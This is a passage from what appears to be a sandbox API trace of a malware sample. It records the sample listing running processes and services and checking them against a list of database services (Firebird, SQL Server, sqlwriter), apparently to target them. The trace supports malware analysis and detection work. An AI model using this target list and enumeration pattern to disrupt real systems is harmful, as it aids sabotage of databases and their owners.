lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.320] lstrlenW (lpString="svchost.exe") returned 11 [0189.320] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.321] lstrlenW (lpString="svchost.exe") returned 11 [0189.321] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.321] lstrlenW (lpString="svchost.exe") returned 11 [0189.321] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.322] lstrlenW (lpString="svchost.exe") returned 11 [0189.322] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.322] lstrlenW (lpString="svchost.exe") returned 11 [0189.322] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.323] lstrlenW (lpString="spoolsv.exe") returned 11 [0189.323] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.323] lstrlenW (lpString="svchost.exe") returned 11 [0189.324] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.361] lstrlenW (lpString="audiodg.exe") returned 11 [0189.362] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0189.362] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0189.362] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0189.363] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0189.363] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0189.363] lstrlenW (lpString="Memory Compression") returned 18 [0189.363] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0189.364] lstrlenW (lpString="sihost.exe") returned 10 [0189.364] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.364] lstrlenW (lpString="svchost.exe") returned 11 [0189.365] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0189.365] lstrlenW (lpString="taskhostw.exe") returned 13 [0189.365] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0189.367] lstrlenW (lpString="msoia.exe") returned 9 [0189.367] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.417] lstrlenW (lpString="explorer.exe") returned 12 [0189.417] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0189.418] lstrlenW (lpString="SearchUI.exe") returned 12 [0189.419] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0189.419] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0189.419] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0189.421] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0189.421] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0189.422] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0189.422] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0189.423] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0189.423] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0189.424] lstrlenW (lpString="cmd.exe") returned 7 [0189.424] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0189.424] lstrlenW (lpString="conhost.exe") returned 11 [0189.424] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0189.425] lstrlenW (lpString="consent.exe") returned 11 [0189.425] Process32NextW (in: hSnapshot=0x4d8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0189.426] CloseHandle (hObject=0x4d8) returned 1 [0189.427] Sleep (dwMilliseconds=0x1f4) [0190.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447aef0 [0190.165] EnumServicesStatusExW (in: hSCManager=0x447aef0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0190.167] GetLastError () returned 0xea [0190.167] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b180 [0190.167] EnumServicesStatusExW (in: hSCManager=0x447aef0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0190.170] CloseServiceHandle (hSCObject=0x447aef0) returned 1 [0190.171] lstrlenW (lpString="Appinfo") returned 7 [0190.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0190.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0190.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0190.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0190.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0190.172] lstrlenW (lpString="AppXSvc") returned 7 [0190.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0190.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0190.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0190.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0190.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0190.172] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.172] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.172] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.172] lstrlenW (lpString="Audiosrv") returned 8 [0190.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0190.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0190.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0190.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0190.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0190.172] lstrlenW (lpString="BFE") returned 3 [0190.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0190.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0190.172] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0190.172] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0190.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0190.172] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0190.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.173] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0190.173] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0190.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0190.173] lstrlenW (lpString="CDPSvc") returned 6 [0190.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0190.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0190.173] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0190.173] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0190.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0190.173] lstrlenW (lpString="ClickToRunSvc") returned 13 [0190.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0190.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0190.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0190.173] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0190.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.173] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0190.173] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0190.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0190.173] lstrlenW (lpString="CryptSvc") returned 8 [0190.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0190.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0190.173] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0190.173] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0190.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0190.173] lstrlenW (lpString="DcomLaunch") returned 10 [0190.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.173] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0190.173] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0190.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0190.174] lstrlenW (lpString="DeviceAssociationService") returned 24 [0190.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.174] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0190.174] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0190.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0190.174] lstrlenW (lpString="Dhcp") returned 4 [0190.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0190.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0190.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0190.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0190.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0190.174] lstrlenW (lpString="Dnscache") returned 8 [0190.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0190.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0190.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0190.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0190.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0190.174] lstrlenW (lpString="DPS") returned 3 [0190.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0190.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0190.174] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0190.174] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0190.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0190.174] lstrlenW (lpString="DsmSvc") returned 6 [0190.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0190.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0190.174] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0190.174] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0190.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0190.174] lstrlenW (lpString="DusmSvc") returned 7 [0190.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0190.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0190.175] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0190.175] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0190.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0190.175] lstrlenW (lpString="EventLog") returned 8 [0190.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0190.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0190.175] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0190.175] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0190.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0190.175] lstrlenW (lpString="EventSystem") returned 11 [0190.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0190.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0190.175] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0190.175] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0190.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0190.175] lstrlenW (lpString="FontCache") returned 9 [0190.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0190.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0190.175] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0190.175] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0190.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0190.175] lstrlenW (lpString="gpsvc") returned 5 [0190.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0190.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0190.175] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0190.175] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0190.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0190.175] lstrlenW (lpString="iphlpsvc") returned 8 [0190.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.175] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0190.176] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0190.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0190.176] lstrlenW (lpString="KeyIso") returned 6 [0190.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0190.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0190.176] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0190.176] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0190.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0190.176] lstrlenW (lpString="LanmanServer") returned 12 [0190.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0190.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0190.176] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0190.176] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0190.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0190.176] lstrlenW (lpString="LanmanWorkstation") returned 17 [0190.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.176] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0190.176] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0190.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0190.176] lstrlenW (lpString="lfsvc") returned 5 [0190.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0190.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0190.176] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0190.176] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0190.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0190.176] lstrlenW (lpString="lmhosts") returned 7 [0190.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0190.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0190.176] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0190.176] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0190.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0190.177] lstrlenW (lpString="LSM") returned 3 [0190.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0190.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0190.177] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0190.177] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0190.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0190.177] lstrlenW (lpString="MpsSvc") returned 6 [0190.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0190.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0190.177] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0190.177] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0190.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0190.177] lstrlenW (lpString="NcbService") returned 10 [0190.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0190.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0190.177] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0190.177] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0190.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0190.177] lstrlenW (lpString="netprofm") returned 8 [0190.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0190.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0190.177] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0190.177] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0190.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0190.177] lstrlenW (lpString="NgcSvc") returned 6 [0190.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0190.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0190.177] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0190.177] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0190.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0190.177] lstrlenW (lpString="NlaSvc") returned 6 [0190.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0190.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0190.178] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0190.178] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0190.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0190.178] lstrlenW (lpString="nsi") returned 3 [0190.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0190.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0190.178] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0190.178] 